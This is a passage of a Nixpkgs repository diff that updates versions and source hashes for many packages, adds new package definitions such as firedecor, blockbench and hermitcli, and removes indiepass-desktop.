     owner = "foldynl";
     repo = "QLog";
     rev = "v${version}";
-    hash = "sha256-GU4TdGtVh7CgiPYQJp0D6X9G1ge4Lzp/AaqbtyOWGtw=";
+    hash = "sha256-stPzkCLcjzQT0n1NRGT7YN625RPYhJ9FuMkjtFZwtbA=";
     fetchSubmodules = true;
   };
 
diff --git a/pkgs/applications/science/biology/minimap2/default.nix b/pkgs/applications/science/biology/minimap2/default.nix
index 35c1b076d7eb..0c906567718a 100644
--- a/pkgs/applications/science/biology/minimap2/default.nix
+++ b/pkgs/applications/science/biology/minimap2/default.nix
@@ -2,13 +2,13 @@
 
 stdenv.mkDerivation rec {
   pname = "minimap2";
-  version = "2.26";
+  version = "2.27";
 
   src = fetchFromGitHub {
     repo = pname;
     owner = "lh3";
     rev = "v${version}";
-    sha256 = "sha256-vK8Z/j6Ndu1vMFYPPzViP4evtIhyVVFwsfTqNCYnXpQ=";
+    sha256 = "sha256-F6IJrYD2dk+5bKKVIahLiNnD/Hd/CjNQQd9zz0Gkans=";
   };
 
   buildInputs = [ zlib ];
diff --git a/pkgs/applications/video/mpv/scripts/mpvacious.nix b/pkgs/applications/video/mpv/scripts/mpvacious.nix
index d6c5389b3277..ec4e25b88fb7 100644
--- a/pkgs/applications/video/mpv/scripts/mpvacious.nix
+++ b/pkgs/applications/video/mpv/scripts/mpvacious.nix
@@ -9,13 +9,13 @@
 
 buildLua rec {
   pname = "mpvacious";
-  version = "0.26";
+  version = "0.27";
 
   src = fetchFromGitHub {
     owner = "Ajatt-Tools";
     repo = "mpvacious";
     rev = "v${version}";
-    sha256 = "sha256-QPLJC6SxocvOPeY6qI8q+EyXNGVef3J/Z38W0/rzFCg=";
+    sha256 = "sha256-pn6hNEhOzKiU+zQJKj/rF0GLXaEe+XBpHp0RlzsNIio=";
   };
   passthru.updateScript = gitUpdater {
     rev-prefix = "v";
diff --git a/pkgs/applications/video/mythtv/default.nix b/pkgs/applications/video/mythtv/default.nix
index deea5c1cb493..fba7eb16839e 100644
--- a/pkgs/applications/video/mythtv/default.nix
+++ b/pkgs/applications/video/mythtv/default.nix
@@ -8,34 +8,18 @@
 
 mkDerivation rec {
   pname = "mythtv";
-  version = "32.0";
+  version = "34.0";
 
   src = fetchFromGitHub {
     owner = "MythTV";
     repo = "mythtv";
     rev = "v${version}";
-    sha256 = "0i4fs3rbk1jggh62wflpa2l03na9i1ihpz2vsdic9vfahqqjxff1";
+    hash = "sha256-6/TEoyYIRq6pufYzGOmO5DB05JuDo9lqRAYT5N5M/L4=";
   };
 
   patches = [
     # Disable sourcing /etc/os-release
     ./dont-source-os-release.patch
-
-    # Fix QMake variable substitution syntax - MythTV/mythtv#550
-    (fetchpatch {
-      name = "fix-qmake-var-syntax.patch";
-      url = "https://github.com/MythTV/mythtv/commit/a8da7f7e7ec069164adbef65a8104adc9bb52e36.patch";
-      stripLen = 1;
-      hash = "sha256-JfRME00YNNjl6SKs1HBa0wBa/lR/Rt3zbQtWhsC36JM=";
-    })
-
-    # Bachport the build against binutils-2.41
-    (fetchpatch {
-      name = "binutils-2.41.patch";
-      url = "https://github.com/MythTV/mythtv/commit/f9f9bba62ee2743c816cb2b9634b6b4397e5e2e3.patch";
-      stripLen = 1;
-      hash = "sha256-IcXgBtfqPZ42inYFe7l8mWvKUV13S/YEQAHcOFaDivI=";
-    })
   ];
 
   setSourceRoot = "sourceRoot=$(echo */mythtv)";
diff --git a/pkgs/applications/video/mythtv/dont-source-os-release.patch b/pkgs/applications/video/mythtv/dont-source-os-release.patch
index fb4dc686af6a..0ef27450d634 100644
--- a/pkgs/applications/video/mythtv/dont-source-os-release.patch
+++ b/pkgs/applications/video/mythtv/dont-source-os-release.patch
@@ -1,6 +1,6 @@
 --- a/configure
 +++ b/configure
-@@ -5894,9 +5894,9 @@ else
+@@ -5451,9 +5451,9 @@ else
      die "ERROR: cannot find soundtouch 1.8.0 or later."
  fi
  
diff --git a/pkgs/applications/video/vdr/markad/default.nix b/pkgs/applications/video/vdr/markad/default.nix
index c0672821558b..a86a1ee02706 100644
--- a/pkgs/applications/video/vdr/markad/default.nix
+++ b/pkgs/applications/video/vdr/markad/default.nix
@@ -19,12 +19,12 @@
 }:
 stdenv.mkDerivation rec {
   pname = "vdr-markad";
-  version = "3.4.6";
+  version = "3.4.12";
 
   src = fetchFromGitHub {
     repo = "vdr-plugin-markad";
     owner = "kfb77";
-    sha256 = "sha256-fixkalZAPz0iO1SmshsO0vYc2sksH2lrStsSOEcdZ1g=";
+    sha256 = "sha256-yc/zWMGzsfZl3n+Qt5Se2duo3jwntCWaYq1yACsrPzM=";
     rev = "V${version}";
   };
 
diff --git a/pkgs/applications/video/vdr/softhddevice/default.nix b/pkgs/applications/video/vdr/softhddevice/default.nix
index 4d2504f5e5e6..23c6433f9ebb 100644
--- a/pkgs/applications/video/vdr/softhddevice/default.nix
+++ b/pkgs/applications/video/vdr/softhddevice/default.nix
@@ -14,12 +14,12 @@
 }:
 stdenv.mkDerivation rec {
   pname = "vdr-softhddevice";
-  version = "2.1.1";
+  version = "2.1.2";
 
   src = fetchFromGitHub {
     owner = "ua0lnj";
     repo = "vdr-plugin-softhddevice";
-    sha256 = "sha256-d/Cl0sE4laDdjMhd3xTHcY4OT5tWWCFCvLsNF157+zw=";
+    sha256 = "sha256-y6b0nOf597uxS9zDh0NQOwLN81nk4U7lHK2CalyVi8s=";
     rev = "v${version}";
   };
 
diff --git a/pkgs/applications/virtualization/docker/compose.nix b/pkgs/applications/virtualization/docker/compose.nix
index d679d674411c..293b1c00694e 100644
--- a/pkgs/applications/virtualization/docker/compose.nix
+++ b/pkgs/applications/virtualization/docker/compose.nix
@@ -2,13 +2,13 @@
 
 buildGoModule rec {
   pname = "docker-compose";
-  version = "2.24.7";
+  version = "2.25.0";
 
   src = fetchFromGitHub {
     owner = "docker";
     repo = "compose";
     rev = "v${version}";
-    hash = "sha256-r7V9ZqUbtK4PG/NfDTbDljP+xaPJBXZSp1rGY/kgUTA=";
+    hash = "sha256-QfzFo6VqNK+4GvF2sSVLeDTcoBOG8Jtqs6K5o5bwddA=";
   };
 
   postPatch = ''
@@ -16,7 +16,7 @@ buildGoModule rec {
     rm -rf e2e/
   '';
 
-  vendorHash = "sha256-Ec2JRCQvdC2VzkK29GyKS2DTrfHgv4wJc/50fbLVKEY=";
+  vendorHash = "sha256-zAIf5ljy9trJE27RpsK0atPoqNIDUdTn6ywRo0yk/18=";
 
   ldflags = [ "-X github.com/docker/compose/v2/internal.Version=${version}" "-s" "-w" ];
 
diff --git a/pkgs/applications/window-managers/wayfire/firedecor.nix b/pkgs/applications/window-managers/wayfire/firedecor.nix
new file mode 100644
index 000000000000..ce42f6fc6886
--- /dev/null
+++ b/pkgs/applications/window-managers/wayfire/firedecor.nix
@@ -0,0 +1,73 @@
+{ stdenv
+, lib
+, fetchFromGitHub
+, meson
+, ninja
+, pkg-config
+, boost
+, cairo
+, glib
+, libGL
+, libinput
+, librsvg
+, libxkbcommon
+, pango
+, udev
+, wayfire
+, wayland
+, wf-config
+, xcbutilwm
+, mate
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "firedecor";
+  version = "2023-10-23";
+
+  src = fetchFromGitHub {
+    owner = "mntmn";
+    repo = "Firedecor";
+    rev = finalAttrs.version;
+    hash = "sha256-7or8HkmIZnLpXEZzUhJ3u8SIPfIQFgn32Ju/5OzK06Y=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    boost
+    cairo
+    glib
+    libGL
+    libinput
+    librsvg
+    libxkbcommon
+    pango
+    udev
+    wayfire
+    wayland
+    wf-config
+    xcbutilwm
+  ];
+
+  postPatch = ''
+    substituteInPlace src/firedecor-theme.cpp \
+      --replace-fail "/usr/share" "/run/current-system/sw/share"
+  '';
+
+  env = {
+    PKG_CONFIG_WAYFIRE_PLUGINDIR = "${placeholder "out"}/lib/wayfire";
+    PKG_CONFIG_WAYFIRE_METADATADIR = "${placeholder "out"}/share/wayfire/metadata";
+  };
+
+  meta = with lib; {
+    homepage = "https://github.com/mntmn/Firedecor";
+    description = "Advanced window decoration plugin for the Wayfire window manager";
+    license = licenses.mit;
+    inherit (mate.mate-wayland-session.meta) maintainers;
+    inherit (wayfire.meta) platforms;
+  };
+})
diff --git a/pkgs/applications/window-managers/wayfire/plugins.nix b/pkgs/applications/window-managers/wayfire/plugins.nix
index 86f522cdd68d..b8af85aafd0d 100644
--- a/pkgs/applications/window-managers/wayfire/plugins.nix
+++ b/pkgs/applications/window-managers/wayfire/plugins.nix
@@ -4,6 +4,7 @@ lib.makeScope pkgs.newScope (self:
   let
     inherit (self) callPackage;
   in {
+    firedecor = callPackage ./firedecor.nix { };
     wayfire-plugins-extra = callPackage ./wayfire-plugins-extra.nix { };
     wcm = callPackage ./wcm.nix { };
     wf-shell = callPackage ./wf-shell.nix { };
diff --git a/pkgs/build-support/bintools-wrapper/default.nix b/pkgs/build-support/bintools-wrapper/default.nix
index 66027485ee71..1a32f365bab2 100644
--- a/pkgs/build-support/bintools-wrapper/default.nix
+++ b/pkgs/build-support/bintools-wrapper/default.nix
@@ -325,6 +325,12 @@ stdenv.mkDerivation {
       hardening_unsupported_flags+=" relro bindnow"
     ''
 
+    + optionalString (libc != null && targetPlatform.isAvr) ''
+      for isa in avr5 avr3 avr4 avr6 avr25 avr31 avr35 avr51 avrxmega2 avrxmega4 avrxmega5 avrxmega6 avrxmega7 tiny-stack; do
+        echo "-L${getLib libc}/avr/lib/$isa" >> $out/nix-support/libc-cflags
+      done
+    ''
+
     + optionalString stdenv.targetPlatform.isDarwin ''
       echo "-arch ${targetPlatform.darwinArch}" >> $out/nix-support/libc-ldflags
     ''
diff --git a/pkgs/build-support/cc-wrapper/default.nix b/pkgs/build-support/cc-wrapper/default.nix
index d788076dda51..4e427bedc653 100644
--- a/pkgs/build-support/cc-wrapper/default.nix
+++ b/pkgs/build-support/cc-wrapper/default.nix
@@ -668,6 +668,12 @@ stdenv.mkDerivation {
       hardening_unsupported_flags+=" stackprotector"
     ''
 
+    + optionalString (libc != null && targetPlatform.isAvr) ''
+      for isa in avr5 avr3 avr4 avr6 avr25 avr31 avr35 avr51 avrxmega2 avrxmega4 avrxmega5 avrxmega6 avrxmega7 tiny-stack; do
+        echo "-B${getLib libc}/avr/lib/$isa" >> $out/nix-support/libc-crt1-cflags
+      done
+    ''
+
     + optionalString stdenv.targetPlatform.isDarwin ''
         echo "-arch ${targetPlatform.darwinArch}" >> $out/nix-support/cc-cflags
     ''
diff --git a/pkgs/build-support/writers/data.nix b/pkgs/build-support/writers/data.nix
index 02f08b9ca0b6..315150378e69 100644
--- a/pkgs/build-support/writers/data.nix
+++ b/pkgs/build-support/writers/data.nix
@@ -30,7 +30,7 @@ in
     ```
   */
   makeDataWriter = lib.warn "pkgs.writers.makeDataWriter is deprecated. Use pkgs.writeTextFile." ({ input ? lib.id, output ? "cp $inputPath $out" }: nameOrPath: data:
-    assert lib.or (types.path.check nameOrPath) (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
+    assert (types.path.check nameOrPath) || (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
     let
       name = last (builtins.split "/" nameOrPath);
     in
diff --git a/pkgs/build-support/writers/scripts.nix b/pkgs/build-support/writers/scripts.nix
index 8a23e5dd4a66..1dd25c500719 100644
--- a/pkgs/build-support/writers/scripts.nix
+++ b/pkgs/build-support/writers/scripts.nix
@@ -19,8 +19,8 @@ rec {
   #   writeBash = makeScriptWriter { interpreter = "${pkgs.bash}/bin/bash"; }
   #   makeScriptWriter { interpreter = "${pkgs.dash}/bin/dash"; } "hello" "echo hello world"
   makeScriptWriter = { interpreter, check ? "" }: nameOrPath: content:
-    assert lib.or (types.path.check nameOrPath) (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
-    assert lib.or (types.path.check content) (types.str.check content);
+    assert (types.path.check nameOrPath) || (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
+    assert (types.path.check content) || (types.str.check content);
     let
       name = last (builtins.split "/" nameOrPath);
     in
@@ -82,8 +82,8 @@ rec {
   # Examples:
   #   writeSimpleC = makeBinWriter { compileScript = name: "gcc -o $out $contentPath"; }
   makeBinWriter = { compileScript, strip ? true }: nameOrPath: content:
-    assert lib.or (types.path.check nameOrPath) (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
-    assert lib.or (types.path.check content) (types.str.check content);
+    assert (types.path.check nameOrPath) || (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null);
+    assert (types.path.check content) || (types.str.check content);
     let
       name = last (builtins.split "/" nameOrPath);
     in
diff --git a/pkgs/by-name/ai/airlift/package.nix b/pkgs/by-name/ai/airlift/package.nix
index 9ab35cc2a462..5c1027d8537f 100644
--- a/pkgs/by-name/ai/airlift/package.nix
+++ b/pkgs/by-name/ai/airlift/package.nix
@@ -10,11 +10,11 @@ python3.pkgs.buildPythonApplication rec {
 
   pname = "airlift";
   pyproject = true;
-  version = "0.3.0";
+  version = "0.3.1";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-1LE3fpfX4NExJdUdSjt4BXvxQTLJ8zrRkGHkxo/6Pb8=";
+    hash = "sha256-EAt3xxr9jtMaOugAV+ySjhorO8SrhBn00PZ84ZG80oI=";
   };
 
   postPatch = ''
diff --git a/pkgs/by-name/at/atuin/package.nix b/pkgs/by-name/at/atuin/package.nix
index 866b411c46f2..3b8f6db5d6f2 100644
--- a/pkgs/by-name/at/atuin/package.nix
+++ b/pkgs/by-name/at/atuin/package.nix
@@ -36,9 +36,9 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = lib.optionals stdenv.isDarwin [
     libiconv
-    darwin.apple_sdk.frameworks.AppKit
-    darwin.apple_sdk.frameworks.Security
-    darwin.apple_sdk.frameworks.SystemConfiguration
+    darwin.apple_sdk_11_0.frameworks.AppKit
+    darwin.apple_sdk_11_0.frameworks.Security
+    darwin.apple_sdk_11_0.frameworks.SystemConfiguration
   ];
 
   postInstall = ''
diff --git a/pkgs/by-name/ba/baresip/package.nix b/pkgs/by-name/ba/baresip/package.nix
index fce17264d487..f63227c3292b 100644
--- a/pkgs/by-name/ba/baresip/package.nix
+++ b/pkgs/by-name/ba/baresip/package.nix
@@ -27,13 +27,13 @@
 , dbusSupport ? true
 }:
 stdenv.mkDerivation rec {
-  version = "3.10.0";
+  version = "3.10.1";
   pname = "baresip";
   src = fetchFromGitHub {
     owner = "baresip";
     repo = "baresip";
     rev = "v${version}";
-    hash = "sha256-cVPg8T9sLZd4fXBoI64TtlIBwF2lAXNth9fMiKnk9H4=";
+    hash = "sha256-0huZP1hopHaN5R1Hki6YutpvoASfIHzHMl/Y4czHHMo=";
   };
   prePatch = lib.optionalString (!dbusSupport) ''
     substituteInPlace cmake/modules.cmake --replace 'list(APPEND MODULES ctrl_dbus)' ""
diff --git a/pkgs/by-name/bl/blockbench/package.nix b/pkgs/by-name/bl/blockbench/package.nix
new file mode 100644
index 000000000000..fb19793583c4
--- /dev/null
+++ b/pkgs/by-name/bl/blockbench/package.nix
@@ -0,0 +1,87 @@
+{ lib
+, stdenv
+, buildNpmPackage
+, fetchFromGitHub
+, imagemagick
+, makeWrapper
+, makeDesktopItem
+, copyDesktopItems
+, electron_28
+}:
+
+let
+  electron = electron_28;
+in
+buildNpmPackage rec {
+  pname = "blockbench";
+  version = "4.9.4";
+
+  src = fetchFromGitHub {
+    owner = "JannisX11";
+    repo = "blockbench";
+    rev = "v${version}";
+    hash = "sha256-z4hr1pQh7Jp/DB8+pxwuHvi4gvTHHVn0yrruwnXm2iM=";
+  };
+
+  nativeBuildInputs = [
+    imagemagick # for icon resizing
+    makeWrapper
+    copyDesktopItems
+  ];
+
+  npmDepsHash = "sha256-onfz+J77jNIgdc7ALiyoXt1CdTyX/C7+bKwtpJm+H+I=";
+
+  env.ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
+
+  npmBuildScript = "bundle";
+
+  postBuild = ''
+    npm exec electron-builder -- \
+        --dir \
+        -c.electronDist=${electron}/libexec/electron \
+        -c.electronVersion=${electron.version}
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/share/blockbench
+    cp -r dist/*-unpacked/{locales,resources{,.pak}} $out/share/blockbench
+
+    for size in 16 32 48 64 128 256 512; do
+      mkdir -p $out/share/icons/hicolor/"$size"x"$size"/apps
+      convert -resize "$size"x"$size" icon.png $out/share/icons/hicolor/"$size"x"$size"/apps/blockbench.png
+    done
+
+    makeWrapper ${lib.getExe electron} $out/bin/blockbench \
+        --add-flags $out/share/blockbench/resources/app.asar \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
+        --inherit-argv0
+
+    runHook postInstall
+  '';
+
+  # based on desktop file found in the published AppImage archive
+  desktopItems = [
+    (makeDesktopItem {
+      name = "blockbench";
+      exec = "blockbench %U";
+      icon = "blockbench";
+      desktopName = "Blockbench";
+      comment = meta.description;
+      categories = [ "3DGraphics" ];
+      startupWMClass = "Blockbench";
+      terminal = false;
+    })
+  ];
+
+  meta = {
+    changelog = "https://github.com/JannisX11/blockbench/releases/tag/${src.rev}";
+    description = "Low-poly 3D modeling and animation software";
+    homepage = "https://blockbench.net/";
+    license = lib.licenses.gpl3Only;
+    mainProgram = "blockbench";
+    maintainers = with lib.maintainers; [ ckie tomasajt ];
+    broken = stdenv.isDarwin;
+  };
+}
diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 067f49573c56..9c4069b41bc8 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -27,20 +27,20 @@ let
 in
 buildNpmPackage' rec {
   pname = "bruno";
-  version = "1.10.0";
+  version = "1.11.0";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     rev = "v${version}";
-    hash = "sha256-wxQaKewKIfN93Wvb7WmOSuflTgfk1XKvHAA1UIVyMqk=";
+    hash = "sha256-Urskhzs00OEucoR17NDXNtnrcXk9h75E806Re0HvYyw=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json
     '';
   };
 
-  npmDepsHash = "sha256-IXFFOegzJbDcQejqQsAg11jDnhSKi27Olm8m3qr7bqw=";
+  npmDepsHash = "sha256-48xzx7dTalceXzjFBHIkkUS83pqP/OQ0L2tnMESpHII=";
   npmFlags = [ "--legacy-peer-deps" ];
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-wizard/package.nix b/pkgs/by-name/ca/cargo-wizard/package.nix
index 20bc22033964..69f106795239 100644
--- a/pkgs/by-name/ca/cargo-wizard/package.nix
+++ b/pkgs/by-name/ca/cargo-wizard/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "cargo-wizard";
-  version = "0.2.1";
+  version = "0.2.2";
 
   src = fetchFromGitHub {
     owner = "kobzol";
     repo = "cargo-wizard";
     rev = "v${version}";
-    hash = "sha256-b8PFJphnTTzW0+f6p59CvQeZMnK6Szp0l/666guDbuc=";
+    hash = "sha256-oFPSgjXZ+Kq59tV/7s6WPF6FHXENoZv8D245yyT0E9E=";
   };
 
-  cargoHash = "sha256-qBqFnvmGKZQv0vWigsUKELDNqy245GqBm3Nif2hAa78=";
+  cargoHash = "sha256-wUMdWGUJR9dJ4XRlDFAvHwxCzLSb3WdRhrXt0kr2+Fc=";
 
   preCheck = ''
     export PATH=$PATH:$PWD/target/${stdenv.hostPlatform.rust.rustcTarget}/$cargoBuildType
diff --git a/pkgs/by-name/co/cockpit/package.nix b/pkgs/by-name/co/cockpit/package.nix
index 46ae83705426..063483c0c561 100644
--- a/pkgs/by-name/co/cockpit/package.nix
+++ b/pkgs/by-name/co/cockpit/package.nix
@@ -44,13 +44,13 @@ in
 
 stdenv.mkDerivation rec {
   pname = "cockpit";
-  version = "312";
+  version = "313";
 
   src = fetchFromGitHub {
     owner = "cockpit-project";
     repo = "cockpit";
     rev = "refs/tags/${version}";
-    hash = "sha256-X3IsUaqXlg/SlqHo9jK+hONY/6LAIAfRO9rAwCQcq64=";
+    hash = "sha256-k/JbvotOcVs2OXwGOrnjY0xYRRgvk61p0o7VQTTPqz4=";
     fetchSubmodules = true;
   };
 
diff --git a/pkgs/by-name/ek/eksctl/package.nix b/pkgs/by-name/ek/eksctl/package.nix
index 5d01ac999406..99e45a9993e1 100644
--- a/pkgs/by-name/ek/eksctl/package.nix
+++ b/pkgs/by-name/ek/eksctl/package.nix
@@ -6,16 +6,16 @@
 
 buildGoModule rec {
   pname = "eksctl";
-  version = "0.173.0";
+  version = "0.174.0";
 
   src = fetchFromGitHub {
     owner = "weaveworks";
     repo = pname;
     rev = version;
-    hash = "sha256-PVBt+AoYd8fMYHzBpgQ261TGlkmyooN7UKX9ooXaRYA=";
+    hash = "sha256-I3YBKdb53BLZ3wFBu8WGJ1kTkuLucMoHLNchMOTNc2o=";
   };
 
-  vendorHash = "sha256-5bHZt+Oze7JiaY0dKjoMNDdU6wzMphgZ3W3NveRKGy0=";
+  vendorHash = "sha256-wdH4+s9SU2WgIy7bJ4YrT53URvHC4vw7RZpllT2DfV8=";
 
   doCheck = false;
 
diff --git a/pkgs/by-name/ez/eza/package.nix b/pkgs/by-name/ez/eza/package.nix
index 5e0423a4ac9b..a6f7b9c9753c 100644
--- a/pkgs/by-name/ez/eza/package.nix
+++ b/pkgs/by-name/ez/eza/package.nix
@@ -17,16 +17,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "eza";
-  version = "0.18.6";
+  version = "0.18.7";
 
   src = fetchFromGitHub {
     owner = "eza-community";
     repo = "eza";
     rev = "v${version}";
-    hash = "sha256-xdMoOGOHbGNRouVbJewQ1bWJbd7nusq3H7mXDC4AIXU=";
+    hash = "sha256-f9EvVWu+WlBm9Q+OzzMoXOGGLJp5DKdC13tPk4JStf4=";
   };
 
-  cargoHash = "sha256-IM1dxTaFa5kq94pn6QQrUGg6fZWhBZsf4ZND42BPVag=";
+  cargoHash = "sha256-ItML58+OMyt6qmxK1w0Tb4sqwXxIhXLih1NThRXdbi4=";
 
   nativeBuildInputs = [ cmake pkg-config installShellFiles pandoc ];
   buildInputs = [ zlib ]
diff --git a/pkgs/by-name/he/hermitcli/package.nix b/pkgs/by-name/he/hermitcli/package.nix
new file mode 100644
index 000000000000..02437daec92e
--- /dev/null
+++ b/pkgs/by-name/he/hermitcli/package.nix
@@ -0,0 +1,34 @@
+{ buildGoModule
+, fetchFromGitHub
+, lib
+}:
+
+buildGoModule rec {
+  pname = "hermit";
+  version = "0.38.2";
+
+  src = fetchFromGitHub {
+    rev = "v${version}";
+    owner = "cashapp";
+    repo = "hermit";
+    hash = "sha256-cBVTIpY85lrKJ1bX1mIlUW1oWEHgg8wjdUh+0FHUp80=";
+  };
+
+  vendorHash = "sha256-W8n7WA1gHx73jHF69apoKnDCIKlbWkj5f1wVITt7F+M=";
+
+  subPackages = [ "cmd/hermit" ];
+
+  ldflags = [
+    "-X main.version=${version}"
+    "-X main.channel=stable"
+  ];
+
+  meta = with lib; {
+    homepage = "https://cashapp.github.io/hermit";
+    description = "Manages isolated, self-bootstrapping sets of tools in software projects.";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ cbrewster ];
+    platforms = platforms.unix;
+    mainProgram = "hermit";
+  };
+}
diff --git a/pkgs/applications/misc/hyprdim/default.nix b/pkgs/by-name/hy/hyprdim/package.nix
index 10938330196a..ee0df4f9fc03 100644
--- a/pkgs/applications/misc/hyprdim/default.nix
+++ b/pkgs/by-name/hy/hyprdim/package.nix
@@ -1,8 +1,9 @@
-{ lib
-, rustPlatform
-, fetchFromGitHub
-, installShellFiles
-, nix-update-script
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  installShellFiles,
+  nix-update-script,
 }:
 
 rustPlatform.buildRustPackage rec {
@@ -18,17 +19,15 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-hgcGzRLB1L3yxJjw1ECDJPmbl1W+2OS4KDojclyVYrc=";
 
-  nativeBuildInputs = [
-    installShellFiles
-  ];
+  nativeBuildInputs = [ installShellFiles ];
 
   postInstall = ''
     installManPage target/man/hyprdim.1
 
     installShellCompletion --cmd hyprdim \
-      --bash <(cat target/completions/hyprdim.bash) \
-      --fish <(cat target/completions/hyprdim.fish) \
-      --zsh <(cat target/completions/_hyprdim)
+      --bash target/completions/hyprdim.bash \
+      --fish target/completions/hyprdim.fish \
+      --zsh target/completions/_hyprdim
   '';
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/applications/misc/hyprnome/default.nix b/pkgs/by-name/hy/hyprnome/package.nix
index d8d6ba70c8f7..691ebc574a43 100644
--- a/pkgs/applications/misc/hyprnome/default.nix
+++ b/pkgs/by-name/hy/hyprnome/package.nix
@@ -1,8 +1,9 @@
-{ lib
-, rustPlatform
-, fetchFromGitHub
-, installShellFiles
-, nix-update-script
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  installShellFiles,
+  nix-update-script,
 }:
 
 rustPlatform.buildRustPackage rec {
@@ -18,17 +19,15 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-DpbRs97sr5wpJSrYF99ZiQ0SZOZdoQjfaLhKIAU95HA=";
 
-  nativeBuildInputs = [
-    installShellFiles
-  ];
+  nativeBuildInputs = [ installShellFiles ];
 
   postInstall = ''
     installManPage target/man/hyprnome.1
 
     installShellCompletion --cmd hyprnome \
-      --bash <(cat target/completions/hyprnome.bash) \
-      --fish <(cat target/completions/hyprnome.fish) \
-      --zsh <(cat target/completions/_hyprnome)
+      --bash target/completions/hyprnome.bash \
+      --fish target/completions/hyprnome.fish \
+      --zsh target/completions/_hyprnome
   '';
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/im/impression/package.nix b/pkgs/by-name/im/impression/package.nix
index 5d20c2e5a570..dea3d287468f 100644
--- a/pkgs/by-name/im/impression/package.nix
+++ b/pkgs/by-name/im/impression/package.nix
@@ -20,21 +20,21 @@
 , pango
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "impression";
-  version = "3.0.1";
+  version = "3.1.0";
 
   src = fetchFromGitLab {
     owner = "adhami3310";
     repo = "Impression";
-    rev = "v${version}";
-    hash = "sha256-xxPclDjHdXWo43cwvSuF9MpNlMTJANNXScLY1mkQTqY=";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-5hBpe8D3DVXP6Hq5L4OUL9rCml0MoLdK7uZzbIIkNh0=";
   };
 
   cargoDeps = rustPlatform.fetchCargoTarball {
-    inherit src;
-    name = "${pname}-${version}";
-    hash = "sha256-LDYckpKwNvkIdpPijTRIZPNfb4d9MZzxVFdSXarhFl0=";
+    inherit (finalAttrs) src;
+    name = "${finalAttrs.pname}-${finalAttrs.version}";
+    hash = "sha256-lbpbggf4DEjpXJ52aM7qNd01XCEY3xj8dKGMfCZ9i3A=";
   };
 
   nativeBuildInputs = [
@@ -68,4 +68,4 @@ stdenv.mkDerivation rec {
     maintainers = with lib.maintainers; [ dotlambda ];
     platforms = lib.platforms.linux;
   };
-}
+})
diff --git a/pkgs/by-name/in/indiepass-desktop/package.nix b/pkgs/by-name/in/indiepass-desktop/package.nix
deleted file mode 100644
index b028755fa67a..000000000000
--- a/pkgs/by-name/in/indiepass-desktop/package.nix
+++ /dev/null
@@ -1,58 +0,0 @@
-{ lib
-, buildNpmPackage
-, fetchFromGitHub
-, makeDesktopItem
-, copyDesktopItems
-, makeWrapper
-, electron
-}:
-
-buildNpmPackage rec {
-  pname = "indiepass-desktop";
-  version = "1.4.0-unstable-2023-05-19";
-
-  src = fetchFromGitHub {
-    owner = "indiepass";
-    repo = "indiepass-desktop";
-    rev = "751660324d6bfc6f95af08bf9bc92e892841f2b2";
-    hash = "sha256-cQqL8eNb23NFMWrK9xh6bZcr0EoYbyJiid+xXQRPqMk=";
-  };
-
-  npmDepsHash = "sha256-gp77eDxturBib0JRNVNSd+nDxQyVTJVKEj4ydB7eICE=";
-
-  env.ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
-
-  dontNpmBuild = true;
-
-  desktopItems = [
-    (makeDesktopItem {
-      name = pname;
-      exec = "indiepass";
-      icon = "indiepass";
-      comment = meta.description;
-      desktopName = "Indiepass";
-      genericName = "Feed Reader";
-    })
-  ];
-
-  nativeBuildInputs = [
-    copyDesktopItems
-    makeWrapper
-  ];
-
-  postInstall = ''
-    install -Dm 644 $out/lib/node_modules/indiepass/images/icon.png $out/share/pixmaps/indiepass.png
-
-    makeWrapper ${electron}/bin/electron $out/bin/indiepass \
-      --add-flags $out/lib/node_modules/indiepass/main.js
-  '';
-
-  meta = with lib; {
-    description = "IndieWeb app with extensions for sharing to/reading from micropub endpoints";
-    homepage = "https://github.com/IndiePass/indiepass-desktop";
-    license = licenses.gpl3Only;
-    maintainers = with maintainers; [ wolfangaukang ];
-    mainProgram = "indiepass";
-    platforms = [ "x86_64-linux" ];
-  };
-}
diff --git a/pkgs/by-name/in/intune-portal/package.nix b/pkgs/by-name/in/intune-portal/package.nix
index 8b6667867627..6e60df8bde46 100644
--- a/pkgs/by-name/in/intune-portal/package.nix
+++ b/pkgs/by-name/in/intune-portal/package.nix
@@ -23,11 +23,11 @@
 }:
 stdenv.mkDerivation rec {
   pname = "intune-portal";
